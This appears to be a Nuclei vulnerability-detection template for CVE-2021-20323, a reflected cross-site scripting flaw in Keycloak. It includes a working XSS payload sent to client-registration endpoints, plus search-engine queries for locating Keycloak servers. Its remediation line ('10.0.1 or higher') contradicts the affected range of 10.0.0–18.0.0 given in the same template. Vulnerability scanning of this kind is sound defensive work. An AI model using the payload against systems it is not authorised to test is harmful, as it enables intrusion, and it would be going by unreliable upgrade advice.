id: CVE-2021-20323

info:
  name: Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting
  author: ndmalc,incogbyte
  severity: medium
  description: |
    Keycloak 10.0.0 to 18.0.0 contains a cross-site scripting vulnerability via the client-registrations endpoint. On a POST request, the application does not sanitize an unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as HTML. This can be performed on any realm present on the Keycloak instance. Since the bug requires Content-Type application/json and is submitted via a POST, there is no common path to exploit that has a user impact.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Keycloak to a version that is not affected by the vulnerability (10.0.1 or higher).
  reference:
    - https://github.com/keycloak/keycloak/security/advisories/GHSA-m98g-63qj-fp8j
    - https://bugzilla.redhat.com/show_bug.cgi?id=2013577
    - https://access.redhat.com/security/cve/CVE-2021-20323
    - https://github.com/ndmalc/CVE-2021-20323
    - https://github.com/keycloak/keycloak/commit/3aa3db16eac9b9ed8c5335ac86f5f50e0c68662d
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20323
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-20323
    cwe-id: CWE-79
    epss-score: 0.00173
    epss-percentile: 0.54333
    cpe: cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: redhat
    product: keycloak
    shodan-query:
      - html:"Keycloak"
      - http.title:"keycloak"
      - http.html:"keycloak"
      - http.favicon.hash:-1105083093
    fofa-query:
      - title="keycloak"
      - icon_hash=-1105083093
      - body="keycloak"
    google-query: intitle:"keycloak"
  tags: cve2021,cve,keycloak,xss,redhat

http:
  - method: POST
    path:
      - "{{BaseURL}}/auth/realms/master/clients-registrations/default"
      - "{{BaseURL}}/auth/realms/master/clients-registrations/openid-connect"
      - "{{BaseURL}}/realms/master/clients-registrations/default"
      - "{{BaseURL}}/realms/master/clients-registrations/openid-connect"

    body: "{\"Test<img src=x onerror=alert(document.domain)>\":1}"
    stop-at-first-match: true

    headers:
      Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Unrecognized field "Test<img src=x onerror=alert(document.domain)>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 400
# digest: 4a0a00473045022100d6c8c72067825f8d6ad845154a3de849a19809bf0f8f4b575475f47e11ecd63e02207cc2ef45a608ee3253e578a6d7e99ef64a15c252ea5c22b8a0caf701e24d8779:922c64590222798bb761d5b6d8e72950